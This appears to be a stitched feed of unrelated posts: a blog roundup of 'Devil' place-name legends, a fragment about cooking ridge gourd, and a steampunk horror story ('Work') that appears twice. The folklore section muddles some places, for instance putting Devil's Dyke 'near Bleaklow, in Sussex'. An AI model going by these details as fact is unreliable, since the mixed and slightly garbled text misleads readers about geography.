Part of the Craters of the Moon National monument, Idaho, Devil’s Orchard has trees and vegetation growing from the flood basalt lava flows of the Snake River Plain volcanic province. The Orchard is a group of lava-transported cinder cone fragments that were once part of the North Crater cinder cone but broke off and were carried away by a new lava flow. The place is described as “otherworldly” with the black rocks providing no shade. Shoshone legend speaks of a serpent on a mountain who, angered by lightning, coiled around and squeezed the mountain until liquid rock flowed, fire shot from cracks, and the mountain exploded. Craters of the Moon National Monument was proclaimed on May 2, 1924 by U.S. President Calvin Coolidge to “preserve the unusual and weird volcanic formations”
Devil’s Orchard, IdahoIn the Big South Fork National River and Recreation area in Kentucky/Tennessee, legend has it that a band of brothers looking for salt drilled a well so deep that it hit oil. They became concerned that the well was so deep, it might reach Hell. Finally, they did strike something, but instead of salt brine coming out of the ground a black, smelly, sticky liquid came oozing out of the pipe. These explorers did not know what oil was, and since they were of a religious nature, they were disturbed about the new-found product. When they saw how this black substance burned, they called it Devil’s Tar. One of the crew was sent downstream with a sample but his raft overturned at the rapids. Later, he told the story that the devil himself, angry at the invasion of his domain, leaped from one of the rocks onto the raft sinking it. The rapids were named the Devils Jump.
Two other Devil’s Jumps occur in England. Three little hills near Frensham are said to have been thrown up by the Devil taking three enormous leaps. The Devil’s Jumps in Churt, county of Surrey, (also known as Devil’s Three Jumps) are a series of three small hills made of “ironstone” making them resistant to erosion. The devil made his mark all around this area, according to legend, as several local landmarks play into the story of his visit. For example, the tale goes that Devil made off with the cauldron of the witch, Mother Ludlam. As she chased him, the Devil’s leaps kicked up hills now known as the Devil’s Jumps. He left the cauldron on Kettlebury Hill and also left a valley known as the Devil’s Punch Bowl.
Another tale tells that the Devil amused himself by leaping from the top of each hill to the next. This annoyed the god Thor who picked up a boulder and threw it at the Devil, causing him to flee. The boulder remains at Devil’s Jumps. The same story is told of the Devil’s Jumps near Treyford on the South Downs in West Sussex though these are barrows upon which the Devil jumped. Other round barrows in Stoughton are also called the Devil’s humps.
Similar to the Jumps are the Devils Footprints – grassy meadows that top some peaks in the Appalachian mountains, particularly in the Great Smoky Mountains. These peaks, also called “balds” are where trees won’t grow, legendarily because the devil himself stepped there. More realistic theories are that the treeless patches are the result of past clearing, animal grazing or burning. Or that the soil, climate, or biota prevents trees from growing. It’s not clear why some summits are bald where others are not.
Apparent “footprints” in rock appear at Devils Foot Rock. Many colorful tales are told of the Devil himself leaving the prints as he pursued maidens or stomped in frustration.
Devil’s Promenade in extreme southwestern Missouri is the site of a regionally noted “spook light”. The locals named the four-mile-long gravel road on the border between southwestern Missouri and northeastern Oklahoma west of the small town of Hornet, Missouri. Hornet is famous for the Hornet Spooklight (also called the Joplin spooklight) – a seemingly unexplained light that appears in the distance. Some have explained it as normal lights from cars or trains and others insist it is paranormal in nature. The bridge along the Devil’s Promenade was originally a rickety wooden bridge. Legend had it that “anyone who walked back and forth across the bridge five times (or seven or three depending on who you ask) very slowly and asking for the Devil to appear, he would either answer three questions, grant three wishes or of course, kill you. Again this depends on the version you hear.” A concrete bridge was constructed and the story seems to have diminished. One story of the light’s origin was that it is the Devil swinging his Jack-o-lantern. Other stories, according to the Prarie Ghosts website, says the light represents the spirit of two young Quapaw Indians who died in the area. Another claimed the light was the spirit of an Osage Indian chief who had been beheaded on the Devil’s Promenade. As with many spook light stories, the light represents a torch carried by the ghost as he searches for his missing head. The torch motif also shows up in the version of the legend that a miner is searching in vain for his missing children by lantern light. Tellers of these tales claim that the lights and legends existed in Native lore prior to the construction of this road.
Many impressive masonry structures are named the Devil’s Bridge and have associated lore to go with them. The bridge in Sedona, Arizona, in the Coconino National Forest, is a large natural sandstone arch. In Massachusetts, the Devil’s Bridge is a shallow reef running northwest off the northwest corner of Martha’s Vineyard. This hazard to ships was supposedly created by the mighty giant Moshup. The local Wampanoag tribal history tells the tale:
Moshup was building a bridge to Cuttyhunk with heavy boulders when a giant crab latched onto his foot. In his pain and anger, he gave up leaving a treacherous shoal instead. The area has been the site of several shipwrecks.
In North Carolina’s Pisgah National Forest is the Devil’s Courthouse. According to Andrea Lankford:
By bradploeger – originally posted to Flickr as Devil’s Courthouse, CC BY-SA 2.0, https://commons.wikimedia.org/w/index.php?curid=4237496“Cherokees believed an evil spirit [or giant} named Judaculla held court on top of this bare rock summit with a 360 degree view of three states”.
Whiteside Mountain in Jackson County, North Carolina also has a feature of this name. The bare overhanging rock is windy and dangerous.
The Devil’s Apronful cairn consists of a heap of rocks and boulders near Pendle Hill in Lancashire, England. Several natural boulders were used to construct the mound which provides an impressive view both now and back in Bronze Age times. The thousands of rocks of gritstone and sandstone are scattered in a roughly circular area. The area however is mostly limestone. It’s been suggested that the stones were glacial erratics and the stones were gathered by farmers to get them out of the fields. But there are more fantastic origin stories. The Devil was annoyed with people at Clitheroe Castle in the west. To do away with it, he filled an “apron” (quite the visual) with rocks to pitch at them. Most missed and in his rage he dropped the rest on this south side of Pendle Hill, creating Apronful Hill. For the similar Apronful in Yorkshire, the tale is that the Devil was collecting stones in his apron in order to build a bridge or fill in the ravine when his apron string broke (or he tripped) and the stones fell out. The Devil’s Apronful sites were disturbed by curious visitors and looters but are now protected.
The Devil has two “Hopyards”. One is a State Park and public recreation area in East Haddam, Connecticut. There are several ideas about how the place got its curious name. One is that it refers to supernatural origins for the naturally occurring potholes in the area. These potholes were formed by the grinding actions of stones moved downstream by the current when trapped in an eddy, wearing a depression in the rock. To the early settlers the potholes were a great mystery, and as with many “devilish” features, they explained them with references to the supernatural. They thought that the Devil has passed by the falls, accidentally getting his tail wet. This made him so mad he burned holes in the stones with his hooves as he bounded away. A sign in the park tells of the legends regarding the name. Another site with this name is in New Hampshire. This is a boulder-filled ravine where you can sometimes hear water running.
Devil’s Dyke (or ditch) near Bleaklow, in Sussex, England is a deep gully supposedly cut by Satan’s claws when he became enraged at the loss of a prospective soul. Other tales say it is his unfinished ditch as he bet St. Cuthberth he could dig it in one night and flood the town. The tourist-attracting feature is really the result of mass wasting and river erosion into a dip-slope valley. The V-shaped dry valley, the deepest in England, was born from the cold climate of 14,000 years ago when this area of chalk bedrock was covered in snow. During warm seasons, the upper layers of soil and weathered rock slid away with the thaw. Finally, an ancient river carried the material away at the end of the Ice Age. That river is now gone but its valley remains. The high hill showed the surrounding terrain and was used as a defensive position as well as being an impressive location to hold special events. Remains of an Iron Age fort have been found here. The location is managed by the National Trust and is a recreational area. A trail supposedly leads to the alleged burial site of the Devil and his wife. In 1900, a sound called The Howling Terror was heard echoing in the valley. It wasn’t demons but the testing of a new invention called the megaphone being used at the amusement park on the top of the Dyke.
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The information provided here is based on a cursory search of these sites and the entries will be expanded as I discover new source material (or visit them!). Please contact me with your corrections, information (preferably with solid references), and photographs and I will gladly add them to the page. Or, leave your contribution in the comments. Thanks!Book References
Coleman, L. (2001). Mysterious America (Revised edition). Paraview Press.
Lankford, A. (2006). Haunted Hikes. Santa Monica Press.
#devil #DevilPlaces #DevilSBackbone #DevilSElbow #DevilSGarden #DevilSPlayground #DevilSPostpile #DevilSRacecourse #DevilSWindpipe #DevilsLake #MountDiablo #Satan
https://sharonahill.com/?p=738
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Thankfully this big guy was quite tender and not old. Even the seeds inside were small and soft. Peeled, then cut up into half moon slices, salted generously and let sit (30+ mins) while I made some mustard paste (next).
Rinse, squeeze out the water and drain, add a spot of turmeric powder and mix.Coming up, #Bengali style #cooking of the ridge gourd (jhinge in Bengali, sin qua in Chinese )
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Read my Steampunk Horror Story “Work”
Ant and Fig knew they’d seen everything at least once before, even if it was always nailed, sealed, and hammered into a wooden crate. The two men had been employed at the piers together for six years. They knew a highway of treasure had passed beneath their fingertips and gloves as they lifted, twisted, pulled, pried, and wrenched boxes off the various boats. The two men lived in Largo, a large merchant town nestled against a green shore of velvet hills. All goods, items, relics, trinkets, ornaments, antiques, or objects being sent to the country first passed through this idyllic seaside town where wind chimes constantly played on patio windows. Both men were constantly busy. It was a good thing. Time passed quicker.
They hated their jobs.
Ant and Fig looked like each other. They were pale, greasy, and rough looking. Each wore a pair of overalls with rips in the knees. Each wore a red bandana to soak up sweat and keep the sea salt out of their eyes. Both smoked. If you watched them carefully, the claws of smoke creeping out of their lips and nose were identical as well. The only difference between the two of them was their size. Ant was shorter. Fig was taller. People always asked if they were brothers.
Neither cared enough to correct them.
Ant and Fig had been in Nibeah their entire lives. It was an elegant looking city with stone buildings and cobblestone streets. Windmills with bellies of gears turned between shadows and sunlight. Quiet bridges over canals and windows of stained glass echoed laughter and singing in the streets. There was money in the town thanks to the constant merchants running their wares across the water and sky. There was also an airship dock, so the winds were noisy with the groaning propellers of zeppelins and their whistles.
Ant and Fig were stuck working late on the northern docks. The night shift was difficult to work. The water was one long sheet of ink in the gloom, with just the boat and lights to serve as beacons for their eyes. It was the end of fall, where the air was slowly getting turned over by a frosty dial. The lines of wooden steps, planks, and pillars were iced in random spots. If you slipped and fell into the water, the night sky would make you think you’re caught between two oblivions.
Ant and Fig worked in a small shack on the edge of the pier poking out into the deep. It had been a quiet night. They were reading newspapers and letting a few cigarettes wither at their lips. They didn’t talk. They knew the same things. They thought the same things. What was the point in speaking? All that mattered was them hearing the foghorn of the lighthouse sound. They could find that siren’s song in their sleep if they had to.
It was close to 3:00 am when they finally got a ship crawling into the harbor on the still, dark waves. The sounds of the city were quiet. There were no blacksmiths hammering, gears twisting, or street performers summoning laughs and whistles on the boardwalks. The air smelt of cinnamon and yeast as the bakers made their first bout of delicacies in the few orange squares illuminated against a backdrop of black windows. A horn blew further up the docks. Ant and Fig opened the door of the dock house and walked onto the narrow pier, which jutted like a knife into the lapping water. A barge with a flat face and long wheelhouse was approaching them. A solitary lantern dangled from a post on its bow. The rest of the ship was empty of any light or movement. The ship looked abandoned.
“Is that a riverboat? What’s it doing here?” Ant said.
“Your guess is as good as mine. It’s an old one too, doesn’t even have railings along the hull,” Fig said. He pointed a large hand at the flat nose of the ship. It was no doubt a vessel for hauling sand or some piled material, but this ship was empty of any crumbled mountain. Ant turned and walked back to the dock house and lit a red lantern. It was a signal for the horse and wagon to make the trek down to them.
“Well, I hope they don’t have a ton of cargo, I mean it must all be inside the hull,” Ant said. Fig threw a pair of thick ropes onto the deck of the boat and jumped down. Something was rancid on the ship. The odor grew heavier the closer you got to the wheelhouse. Fig got a heavy whiff of it.
“You’re going to wake them up this time. I did it last time. I don’t like doing it,” Ant said, jumping aboard and lighting a smoke.
“Fine, let’s just wait for the horses to get here,” Fig said.
Eventually an older man with a long cloud for a beard walked towards them smoking a pipe beneath a black hat. His name was Rufus, and he was the stable master for the docks. He’d known Ant and Fig their entire lives.
“Horses won’t come down here for some reason, something’s got them spooked. They even tried to jump in the water,” Rufus said.
“Well, that’s bad, how are we going to get the goods off? We’ll have to wait until morning,” Ant said.
“Have you boys even talked to the captain yet? Maybe they don’t even have anything and just need to park,” Rufus said.
“It stinks. It stinks badly,” Fig replied.
“Well, it wouldn’t be the first time we’ve gotten stinky wares onto the docks. You boys better talk to someone onboard and get this straightened out,” Rufus said.
It took a few minutes for Fig to work up the courage to knock on the round door of the flat building stretched across the empty deck. It was cold and hollow against his rough hand. A scratching sound echoed inside the cabin. It made Fig jump back a second and steady his hand on the round doorknob, which was grimy brown from salt and rust.
“Hello? Anybody in there? You just reached Nibeah. You’re at the northern pier. Come on out so we can get you checked-in,” Fig said. A wave jostled the boat upwards. The ocean was trying to warn him.
“Hello? I’m going to come inside. I just work for the docks.” Fig turned the handle. It took some strength. Dust had frozen the bulkhead in place. Fig pushed on the door with his shoulder. After a few seconds it popped open. Fig fell into the room, banging his knee on the floor.
“You, you guys better get down here. Get down here now!” Fig screamed, crawling backwards like a crab onto the bow. Ant sprinted down the deck and lifted his friend up by the armpits. The door stared back at them. The lantern was turned on its side and threw some light into the cabin. Ant slowly approached the door and used his foot to steady the wobbling light. Ant lifted it up above his head with a gasp. The entire cabin was etched in dried blood. Benches, tables, ropes, fishing gear, bunks, bulkheads, the floor, even the candles locked into their fixtures were covered in this crimson smear. It was as if a giant vein had run the length of the building, then been split in one wild slash.
“What, what happened? Where is everyone?” Ant said.
Then it moved.
There was a hiss like a cat, but with more muscle and mass. It wasn’t until the form dashed between both men out the doorway that they could decipher any details. All they could see was some sort of fluid body with slimy skin. The shape’s arms were exaggerated and dragging on the floor, which was ripped apart thanks to the bits of gray bone spiking out of its shimmering flesh. Its head was that of an octopus. It had silver tentacles for hair, along with two red eyes with pulsating flaps. Its mouth looked human. A cloak, a satchel with a pair of books, and some legs with shredded pants hung off its rubbery body.
Before either man could turn to look at each other in amazement, the creature jumped off the deck and onto the dock in a few snarling bounds. Rufus, who was standing in the center of its path, could barely turn before the monster’s long arms slashed outwards splitting his torso from his legs like wire through clay. There was a wet plopping of tissue. His body thrashed around as his upper-half tried to attach to his lower-half. His howling scream made the nightstand still until shock got the better of him and he went eternally silent.
“Get back!” A voice said. It came from above the deck on the wheelhouse roof. There was a man standing there in the moonlight. He was tall, thin, with unblemished skin and sandy brown hair cut into a bowl. He was wearing some sort of priest’s outfit, with a white collar and dark raincoat with baggy sleeves and enormous hood. His entire outfit appeared to change colors in the rolling night. He didn’t want to be seen completely. In his right hand was an enormous silver gun with a wide barrel and gears poking out of its chambers. It had a pearl handle, which curled into the stranger’s sleeve.
He raised the weapon into the air and clicked the trigger. Light thrashed the darkness in bits of sparks and fire. A blue flare curled into the sky above the dock and burst above it like a dying star. The creature froze and snarled backwards. It was already halfway towards the shore.
“You stay put!” The man yelled.
He was off the roof and onto the line of wooden planks before Ant or Fig could speak. He moved as a piece of the night, like the creature did.
“Watch out! Stay back!” He yelled. He loaded a few golden bullets into his gun with his sleeve. There was another hiss. The fiend had turned back towards the man. It swung its shadowy tendril of an arm at him. At the end of it, the bones had formed into a crude hammer. The man spun his coat over his right shoulder and braced for the impact. The cloth suddenly hardened into a golden shield. The bone and magic collided, throwing metallic thunder into the air and tossing the sea into a one-second tempest.
Ant and Fig were both knocked off their feet.
“Come on! Come on!” The man yelled. He pulled his shield away from the living brick. The monster’s coil snapped back. The air cackled to it. The man fired twice from his pistol. The monster jumped, sending both shots into empty air. It twirled violently and severed its own arm throwing the organic flail through the air. The man once again threw his coat up and smashed into the missile. The impact shattered the dock. Shrapnel cut the air. Some of them hit Ant and Fig, who were frozen in awe.
It wasn’t every day that monsters and gods threw fire at each other.
The creature dashed further from the man. The attack was to distract him and slow him down. The man hunched over and coughed up some blood. It looked unreal in the dim and dark of the moon and torchlight. He shook his head and took to one knee. He leveled the gun at the shape. The monster was approaching the buildings at the end of the pier. A small crowd had gathered to watch the ruckus. The flare had woken them up.
“Goddammit!” The man said with a wheeze. He hit a red gear planted alongside the oblong chamber of his firearm. Fire cut the air in a perfect line. A beam of white light opened from the atoms around the barrel and engulfed the dock. It narrowed as it spread in a fine, sharp laser. It struck the abomination in the back of its head. The momentum from the blast tossed its body into the water and onto the dock in inky chunks.
“Got it,” the man said. He collapsed onto his stomach.
Ant and Fig didn’t move. Fig was holding Ant by the shoulders. They were practically hugging one another. They were about to speak when the man wheezed and slowly stood up. He pulled the hood over his young face and stretched out beneath his coat. A few bones and joints cackled. He’d been hurt before.
“What do you guys do?” he asked in an older voice. It was bold and rough. It didn’t match the softness of his youthful appearance.
“What, what?” Ant said.
“Did you not hear me? What do you guys do for a living?” He shook the gun free of the water that had sprayed during the fight.
“We, uh, work on the docks,” Ant said.
“I realize that. But what do you do? What does your job entail?”
A few people screamed at the other end of the dock. The monster’s rubbery parts were trying to reconnect. The man sighed. He would have to burn the leftovers.
“We move boxes. We unload them and load them. That’s it,” Fig said.
The man lifted his gun and looked down the square sight jutting out from the still steaming nozzle. He sighed and started walking towards the monster’s sour and ambitious remains.
“That sounds nice,” he said.
#blogging #books #darkFantasy #darkfantasy #epicFantasy #fantasy #fantasyBlog #fantasyFiction #fiction #gothicFantasy #grimdark #horror #horrorFantasy #indieAuthor #magicalRealism #medievalFantasy #monsters #newChapter #novels #ongoingStory #onlineNovel #readOnline #reading #steampunk #storySeries #supernaturalFiction #webFiction #weeklyStory #writing
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Read my Steampunk Horror Story “Work”
Ant and Fig knew they’d seen everything at least once before, even if it was always nailed, sealed, and hammered into a wooden crate. The two men had been employed at the piers together for six years. They knew a highway of treasure had passed beneath their fingertips and gloves as they lifted, twisted, pulled, pried, and wrenched boxes off the various boats. The two men lived in Largo, a large merchant town nestled against a green shore of velvet hills. All goods, items, relics, trinkets, ornaments, antiques, or objects being sent to the country first passed through this idyllic seaside town where wind chimes constantly played on patio windows. Both men were constantly busy. It was a good thing. Time passed quicker.
They hated their jobs.
Ant and Fig looked like each other. They were pale, greasy, and rough looking. Each wore a pair of overalls with rips in the knees. Each wore a red bandana to soak up sweat and keep the sea salt out of their eyes. Both smoked. If you watched them carefully, the claws of smoke creeping out of their lips and nose were identical as well. The only difference between the two of them was their size. Ant was shorter. Fig was taller. People always asked if they were brothers.
Neither cared enough to correct them.
Ant and Fig had been in Nibeah their entire lives. It was an elegant looking city with stone buildings and cobblestone streets. Windmills with bellies of gears turned between shadows and sunlight. Quiet bridges over canals and windows of stained glass echoed laughter and singing in the streets. There was money in the town thanks to the constant merchants running their wares across the water and sky. There was also an airship dock, so the winds were noisy with the groaning propellers of zeppelins and their whistles.
Ant and Fig were stuck working late on the northern docks. The night shift was difficult to work. The water was one long sheet of ink in the gloom, with just the boat and lights to serve as beacons for their eyes. It was the end of fall, where the air was slowly getting turned over by a frosty dial. The lines of wooden steps, planks, and pillars were iced in random spots. If you slipped and fell into the water, the night sky would make you think you’re caught between two oblivions.
Ant and Fig worked in a small shack on the edge of the pier poking out into the deep. It had been a quiet night. They were reading newspapers and letting a few cigarettes wither at their lips. They didn’t talk. They knew the same things. They thought the same things. What was the point in speaking? All that mattered was them hearing the foghorn of the lighthouse sound. They could find that siren’s song in their sleep if they had to.
It was close to 3:00 am when they finally got a ship crawling into the harbor on the still, dark waves. The sounds of the city were quiet. There were no blacksmiths hammering, gears twisting, or street performers summoning laughs and whistles on the boardwalks. The air smelt of cinnamon and yeast as the bakers made their first bout of delicacies in the few orange squares illuminated against a backdrop of black windows. A horn blew further up the docks. Ant and Fig opened the door of the dock house and walked onto the narrow pier, which jutted like a knife into the lapping water. A barge with a flat face and long wheelhouse was approaching them. A solitary lantern dangled from a post on its bow. The rest of the ship was empty of any light or movement. The ship looked abandoned.
“Is that a riverboat? What’s it doing here?” Ant said.
“Your guess is as good as mine. It’s an old one too, doesn’t even have railings along the hull,” Fig said. He pointed a large hand at the flat nose of the ship. It was no doubt a vessel for hauling sand or some piled material, but this ship was empty of any crumbled mountain. Ant turned and walked back to the dock house and lit a red lantern. It was a signal for the horse and wagon to make the trek down to them.
“Well, I hope they don’t have a ton of cargo, I mean it must all be inside the hull,” Ant said. Fig threw a pair of thick ropes onto the deck of the boat and jumped down. Something was rancid on the ship. The odor grew heavier the closer you got to the wheelhouse. Fig got a heavy whiff of it.
“You’re going to wake them up this time. I did it last time. I don’t like doing it,” Ant said, jumping aboard and lighting a smoke.
“Fine, let’s just wait for the horses to get here,” Fig said.
Eventually an older man with a long cloud for a beard walked towards them smoking a pipe beneath a black hat. His name was Rufus, and he was the stable master for the docks. He’d known Ant and Fig their entire lives.
“Horses won’t come down here for some reason, something’s got them spooked. They even tried to jump in the water,” Rufus said.
“Well, that’s bad, how are we going to get the goods off? We’ll have to wait until morning,” Ant said.
“Have you boys even talked to the captain yet? Maybe they don’t even have anything and just need to park,” Rufus said.
“It stinks. It stinks badly,” Fig replied.
“Well, it wouldn’t be the first time we’ve gotten stinky wares onto the docks. You boys better talk to someone onboard and get this straightened out,” Rufus said.
It took a few minutes for Fig to work up the courage to knock on the round door of the flat building stretched across the empty deck. It was cold and hollow against his rough hand. A scratching sound echoed inside the cabin. It made Fig jump back a second and steady his hand on the round doorknob, which was grimy brown from salt and rust.
“Hello? Anybody in there? You just reached Nibeah. You’re at the northern pier. Come on out so we can get you checked-in,” Fig said. A wave jostled the boat upwards. The ocean was trying to warn him.
“Hello? I’m going to come inside. I just work for the docks.” Fig turned the handle. It took some strength. Dust had frozen the bulkhead in place. Fig pushed on the door with his shoulder. After a few seconds it popped open. Fig fell into the room, banging his knee on the floor.
“You, you guys better get down here. Get down here now!” Fig screamed, crawling backwards like a crab onto the bow. Ant sprinted down the deck and lifted his friend up by the armpits. The door stared back at them. The lantern was turned on its side and threw some light into the cabin. Ant slowly approached the door and used his foot to steady the wobbling light. Ant lifted it up above his head with a gasp. The entire cabin was etched in dried blood. Benches, tables, ropes, fishing gear, bunks, bulkheads, the floor, even the candles locked into their fixtures were covered in this crimson smear. It was as if a giant vein had run the length of the building, then been split in one wild slash.
“What, what happened? Where is everyone?” Ant said.
Then it moved.
There was a hiss like a cat, but with more muscle and mass. It wasn’t until the form dashed between both men out the doorway that they could decipher any details. All they could see was some sort of fluid body with slimy skin. The shape’s arms were exaggerated and dragging on the floor, which was ripped apart thanks to the bits of gray bone spiking out of its shimmering flesh. Its head was that of an octopus. It had silver tentacles for hair, along with two red eyes with pulsating flaps. Its mouth looked human. A cloak, a satchel with a pair of books, and some legs with shredded pants hung off its rubbery body.
Before either man could turn to look at each other in amazement, the creature jumped off the deck and onto the dock in a few snarling bounds. Rufus, who was standing in the center of its path, could barely turn before the monster’s long arms slashed outwards splitting his torso from his legs like wire through clay. There was a wet plopping of tissue. His body thrashed around as his upper-half tried to attach to his lower-half. His howling scream made the nightstand still until shock got the better of him and he went eternally silent.
“Get back!” A voice said. It came from above the deck on the wheelhouse roof. There was a man standing there in the moonlight. He was tall, thin, with unblemished skin and sandy brown hair cut into a bowl. He was wearing some sort of priest’s outfit, with a white collar and dark raincoat with baggy sleeves and enormous hood. His entire outfit appeared to change colors in the rolling night. He didn’t want to be seen completely. In his right hand was an enormous silver gun with a wide barrel and gears poking out of its chambers. It had a pearl handle, which curled into the stranger’s sleeve.
He raised the weapon into the air and clicked the trigger. Light thrashed the darkness in bits of sparks and fire. A blue flare curled into the sky above the dock and burst above it like a dying star. The creature froze and snarled backwards. It was already halfway towards the shore.
“You stay put!” The man yelled.
He was off the roof and onto the line of wooden planks before Ant or Fig could speak. He moved as a piece of the night, like the creature did.
“Watch out! Stay back!” He yelled. He loaded a few golden bullets into his gun with his sleeve. There was another hiss. The fiend had turned back towards the man. It swung its shadowy tendril of an arm at him. At the end of it, the bones had formed into a crude hammer. The man spun his coat over his right shoulder and braced for the impact. The cloth suddenly hardened into a golden shield. The bone and magic collided, throwing metallic thunder into the air and tossing the sea into a one-second tempest.
Ant and Fig were both knocked off their feet.
“Come on! Come on!” The man yelled. He pulled his shield away from the living brick. The monster’s coil snapped back. The air cackled to it. The man fired twice from his pistol. The monster jumped, sending both shots into empty air. It twirled violently and severed its own arm throwing the organic flail through the air. The man once again threw his coat up and smashed into the missile. The impact shattered the dock. Shrapnel cut the air. Some of them hit Ant and Fig, who were frozen in awe.
It wasn’t every day that monsters and gods threw fire at each other.
The creature dashed further from the man. The attack was to distract him and slow him down. The man hunched over and coughed up some blood. It looked unreal in the dim and dark of the moon and torchlight. He shook his head and took to one knee. He leveled the gun at the shape. The monster was approaching the buildings at the end of the pier. A small crowd had gathered to watch the ruckus. The flare had woken them up.
“Goddammit!” The man said with a wheeze. He hit a red gear planted alongside the oblong chamber of his firearm. Fire cut the air in a perfect line. A beam of white light opened from the atoms around the barrel and engulfed the dock. It narrowed as it spread in a fine, sharp laser. It struck the abomination in the back of its head. The momentum from the blast tossed its body into the water and onto the dock in inky chunks.
“Got it,” the man said. He collapsed onto his stomach.
Ant and Fig didn’t move. Fig was holding Ant by the shoulders. They were practically hugging one another. They were about to speak when the man wheezed and slowly stood up. He pulled the hood over his young face and stretched out beneath his coat. A few bones and joints cackled. He’d been hurt before.
“What do you guys do?” he asked in an older voice. It was bold and rough. It didn’t match the softness of his youthful appearance.
“What, what?” Ant said.
“Did you not hear me? What do you guys do for a living?” He shook the gun free of the water that had sprayed during the fight.
“We, uh, work on the docks,” Ant said.
“I realize that. But what do you do? What does your job entail?”
A few people screamed at the other end of the dock. The monster’s rubbery parts were trying to reconnect. The man sighed. He would have to burn the leftovers.
“We move boxes. We unload them and load them. That’s it,” Fig said.
The man lifted his gun and looked down the square sight jutting out from the still steaming nozzle. He sighed and started walking towards the monster’s sour and ambitious remains.
“That sounds nice,” he said.
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